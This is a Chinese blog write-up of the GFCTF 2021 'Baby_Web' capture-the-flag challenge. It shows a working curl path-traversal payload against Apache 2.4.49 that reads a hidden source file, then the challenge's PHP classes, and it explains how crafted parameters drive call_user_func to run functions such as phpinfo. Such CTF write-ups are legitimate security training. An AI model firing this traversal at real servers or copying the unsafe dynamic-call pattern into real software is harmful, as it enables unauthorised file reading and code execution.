[GFCTF 2021] day2

文章描述了一种通过Apache目录穿越漏洞(DirectoryTraversal)来访问隐藏源码的方法,具体涉及curl命令和PHP代码,包括index.php和Class.php的内容。文章还提到了如何构造参数调用内部函数,如call_user_func和call_user_func_array,以执行特定操作,如显示环境变量。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Baby_Web

查看源码发现

<!--源码藏在上层目录xxx.php.txt里面,但你怎么才能看到它呢?-->

然后抓包看中间件,Apache/2.4.49 (Unix) 存在目录穿越漏洞

curl http://node4.anna.nssctf.cn:28805/cgi-bin/.%2e/.%2e/.%2e/.%2e/var/www/index        .php.txt

index.php

<?php
error_reporting(0);
define("main","main");
include "Class.php";
$temp = new Temp($_POST);
$temp->display($_GET['filename']);

?>

继续读取Class.php

<?php
defined('main') or die("no!!");
Class Temp{
    private $date=['version'=>'1.0','img'=>'https://www.apache.org/img/asf-estd-1999-logo.jpg'];
    private $template;
    public function __construct($data){

        $this->date = array_merge($this->date,$data);
    }
    public function getTempName($template,$dir){
        if($dir === 'admin'){
            $this->template = str_replace('..','','./template/admin/'.$template);
            if(!is_file($this->template)){
                die("no!!");
            }
        }
        else{
            $this->template = './template/index.html';
        }
    }
    public function display($template,$space=''){

        extract($this->date);
        $this->getTempName($template,$space);
        include($this->template);
    }
    public function listdata($_params){
        $system = [
            'db' => '',
            'app' => '',
            'num' => '',
            'sum' => '',
            'form' => '',
            'page' => '',
            'site' => '',
            'flag' => '',
            'not_flag' => '',
            'show_flag' => '',
            'more' => '',
            'catid' => '',
            'field' => '',
            'order' => '',
            'space' => '',
            'table' => '',
            'table_site' => '',
            'total' => '',
            'join' => '',
            'on' => '',
            'action' => '',
            'return' => '',
            'sbpage' => '',
            'module' => '',
            'urlrule' => '',
            'pagesize' => '',
            'pagefile' => '',
        ];

        $param = $where = [];

        $_params = trim($_params);

        $params = explode(' ', $_params);
        if (in_array($params[0], ['list','function'])) {
            $params[0] = 'action='.$params[0];
        }
        foreach ($params as $t) {
            $var = substr($t, 0, strpos($t, '='));
            $val = substr($t, strpos($t, '=') + 1);
            if (!$var) {
                continue;
            }
            if (isset($system[$var])) { 
                $system[$var] = $val;
            } else {
                $param[$var] = $val; 
            }
        }
        // action
        switch ($system['action']) {

            case 'function':

                if (!isset($param['name'])) {
                    return  'hacker!!';
                } elseif (!function_exists($param['name'])) {
                    return 'hacker!!';
                }

                $force = $param['force'];
                if (!$force) {
                    $p = [];
                    foreach ($param as $var => $t) {
                        if (strpos($var, 'param') === 0) {
                            $n = intval(substr($var, 5));
                            $p[$n] = $t;
                        }
                    }
                    if ($p) {

                        $rt = call_user_func_array($param['name'], $p);
                    } else {
                        $rt = call_user_func($param['name']);
                    }
                    return $rt;
                }else{
                    return null;
                }
            case 'list':
                return json_encode($this->date);
        }
        return null;
    }
}

/template/admin/ 首先代码中有这一个目录,访问看一下是啥

 发现会调用listdata方法并且需要我们传参  action module

 if($dir === 'admin'){
            $this->template = str_replace('..','','./template/admin/'.$template);

template需要就是传进去index.html,这样才会调用listdata这个方法

$dir需要是admin,是space传进来的,所以space=admin

template也就是filename需要是 index.html

action需要是function

module也就是mod 赋值

force存在随便赋值就行

$force = $param['force'];
                if (!$force) {

利用call_user_func显示环境变量。

 

 这里action=function name=phpinfo是因为数组是以空格为分隔的。

方法二、利用call_user_func_array

$rt = call_user_func_array($param['name'], $p);

则需要满足 $p存在也就是,

foreach ($param as $var => $t) {
    if (strpos($var, 'param') === 0) {
        $n = intval(substr($var, 5));
        $p[$n] = $t ;
    }

在这里需要一个键和值,

结束! 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值